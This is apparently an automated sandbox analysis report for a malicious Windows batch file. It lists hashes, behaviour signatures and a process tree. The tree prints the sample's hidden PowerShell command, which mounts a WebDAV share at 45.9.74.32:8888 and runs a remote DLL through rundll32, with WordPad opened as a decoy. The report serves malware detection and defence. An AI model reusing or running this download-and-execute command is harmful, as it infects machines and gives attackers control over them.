Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    15/07/2024, 16:53

General

  • Target

    4825e70e1a4256d040311f428444a3d273d503d490235b50de1d877d36617209.bat

  • Size

    2KB

  • MD5

    cc7d0f1f18a4087b9a5e44c661f6aa08

  • SHA1

    e8e96f04ab4e126ecc73107b6f0eeb5b1de2d0c8

  • SHA256

    4825e70e1a4256d040311f428444a3d273d503d490235b50de1d877d36617209

  • SHA512

    d5b4ff981591b21a3309dee595821a8d3a774131aeaa61babf713621fc632aff1d5bffc5bf58af4a8fbbb5bf35e60ddb4f0c578c9c0a40a1bcf57a1e9842bebd

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\4825e70e1a4256d040311f428444a3d273d503d490235b50de1d877d36617209.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2540
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:1304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1231.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:808
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2896
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1231.dll entry
          3⤵
            PID:2700

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • memory/808-23-0x000000001B610000-0x000000001B8F2000-memory.dmp

              Filesize

              2.9MB

            • memory/808-24-0x0000000001E50000-0x0000000001E58000-memory.dmp

              Filesize

              32KB